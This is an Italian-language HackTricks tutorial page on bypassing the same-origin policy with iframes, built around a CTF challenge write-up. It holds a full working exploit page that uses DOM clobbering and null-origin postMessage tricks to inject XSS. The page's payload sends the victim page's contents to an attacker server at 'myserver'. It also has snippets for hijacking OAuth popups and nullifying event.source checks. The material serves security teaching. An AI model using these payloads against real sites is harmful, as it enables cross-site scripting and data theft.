Bypassing SOP with Iframes - 2

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Iframes in SOP-2

Nella solution per questa challenge, @Strellic_ propone un metodo simile alla sezione precedente. Vediamolo.

In questa sfida l’attaccante deve bypass questo:

if (e.source == window.calc.contentWindow && e.data.token == window.token) {

Se lo fa, può inviare un postmessage con contenuto HTML che verrà scritto nella pagina con innerHTML senza sanificazione (XSS).

Il modo per bypassare la prima verifica è rendere window.calc.contentWindow undefined e e.source null:

  • window.calc.contentWindow è in realtà document.getElementById("calc"). Puoi clobberare document.getElementById con <img name=getElementById /> (nota che Sanitizer API -here- non è configurata per proteggere contro gli attacchi di DOM clobbering nel suo stato predefinito).
  • Pertanto, puoi clobberare document.getElementById("calc") con <img name=getElementById /><div id=calc></div>. Allora, window.calc sarà undefined.
  • Ora, abbiamo bisogno che e.source sia undefined o null (perché viene usato == invece di ===, null == undefined è True). Ottenerlo è “facile”. Se crei un iframe e invia un postMessage da esso e rimuovi immediatamente l’iframe, e.origin diventerà null. Controlla il seguente codice
let iframe = document.createElement("iframe")
document.body.appendChild(iframe)
window.target = window.open("http://localhost:8080/")
await new Promise((r) => setTimeout(r, 2000)) // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`)
document.body.removeChild(iframe) //e.origin === null

Per bypassare il secondo controllo sul token bisogna inviare token con valore null e fare in modo che window.token abbia valore undefined:

  • Inviare token nel postMessage con valore null è banale.
  • window.token viene impostato richiamando la funzione getCookie che usa document.cookie. Nota che qualsiasi accesso a document.cookie nelle pagine con origin null provoca un errore. Questo farà sì che window.token abbia valore undefined.

La soluzione finale di @terjanq è la seguente:

<html>
<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open(
'https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"'
)

function start() {
var ifr = document.createElement("iframe")
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = "allow-scripts allow-popups"
ifr.srcdoc = `<script>(${hack})()<\/script>`

document.body.appendChild(ifr)

function hack() {
var win = open("https://obligatory-calc.ctf.sekai.team")
setTimeout(() => {
parent.postMessage("remove", "*")
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage(
{
token: null,
result:
"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>",
},
"*"
)
}, 1000)
}

// this removes the iframe so e.source becomes null in postMessage event.
onmessage = (e) => {
if (e.data == "remove") document.body.innerHTML = ""
}
}
setTimeout(start, 1000)
</script>
</body>
</html>

2025 Null-Origin Popups (TryHackMe - Vulnerable Codes)

Un recente task di TryHackMe (“Vulnerable Codes”) dimostra come OAuth popups possano essere hijacked quando l’opener vive all’interno di uno sandboxed iframe che permette soltanto scripts e popups. L’iframe forza sia se stesso che la popup in un’origine "null", quindi gli handler che controllano if (origin !== window.origin) return falliscono silenziosamente perché window.origin dentro la popup è anch’esso "null". Anche se il browser espone ancora il reale location.origin, la vittima non lo ispeziona mai, così i messaggi controllati dall’attaccante passano indisturbati.

const frame = document.createElement('iframe');
frame.sandbox = 'allow-scripts allow-popups';
frame.srcdoc = `
<script>
const pop = open('https://oauth.example/callback');
pop.postMessage({ cmd: 'getLoginCode' }, '*');
<\/script>`;
document.body.appendChild(frame);

Punti chiave per abusare di questa configurazione:

  • Handlers che confrontano origin con window.origin all’interno del popup possono essere bypassati perché entrambi valutano a "null", quindi messaggi contraffatti appaiono legittimi.
  • Sandboxed iframes che concedono allow-popups ma omettono allow-same-origin comunque generano popup bloccati sull’origin null controllato dall’attaccante, offrendo un enclave stabile anche nelle build Chromium del 2025.

Source-nullification & frame-restriction bypasses

Industry writeups around CVE-2024-49038 highlight two reusable primitives for this page: (1) you can still interact with pages that set X-Frame-Options: DENY by launching them via window.open and posting messages once the navigation settles, and (2) you can brute-force event.source == victimFrame checks by removing the iframe immediately after sending a message so that the receiver only sees null in the handler.

const probe = document.createElement('iframe');
probe.sandbox = 'allow-scripts';
probe.onload = () => {
const victim = open('https://target-app/');
setTimeout(() => {
probe.contentWindow.postMessage(payload, '*');
probe.remove();
}, 500);
};
document.body.appendChild(probe);

Combina questo con il DOM-clobbering trick sopra: una volta che il destinatario vede solo event.source === null, qualsiasi confronto con window.calc.contentWindow o simili si annulla, consentendoti di inviare nuovamente malicious HTML sinks tramite innerHTML.

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks